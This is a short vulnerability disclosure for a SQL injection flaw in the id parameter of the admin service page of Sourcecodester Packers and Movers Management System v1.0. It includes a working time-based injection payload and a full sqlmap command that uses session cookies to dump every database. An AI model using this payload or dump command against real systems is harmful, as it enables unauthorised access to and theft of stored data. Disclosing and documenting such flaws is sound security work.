A SQL injection vulnerability in Sourcecodester Packers and Movers Management System v1.0 allows remote authenticated users to execute arbitrary SQL commands via the id parameter in /mpms/admin/?page=services/manage_service&id
SQL Injection
Sourcecodester
The id parameter of Update Service Details at /mpms/admin/?page=services/manage_service&id
- Setup the application locally and login to the admin panel using the given default credentials.
- Navigate to the Vulnerable Page: http://localhost/mpms/admin/?page=services/manage_service&id=2
- Inject SQL Payload to the id parameter: http://localhost/mpms/admin/?page=services/manage_service&id=1' OR SLEEP(5)-- puNr
- Observe the Application Response: The page should take noticeably longer (5 seconds) to load if the injection is successful, confirming that the id parameter is vulnerable to SQL injection.
- Now run SQLMap Tool For Dumping Database Details:
- sqlmap -u "http://localhost/mpms/admin/?page=services/manage_service&id=1" --cookie="phpMyAdmin=ju34bd3d8q0jdf6td4ntqscaqd;PHPSESSID=eopn8q1p8c1f5m1v5igjoir8k1;" --dbms mysql -p id --risk 3 --level 4 --dbs --dump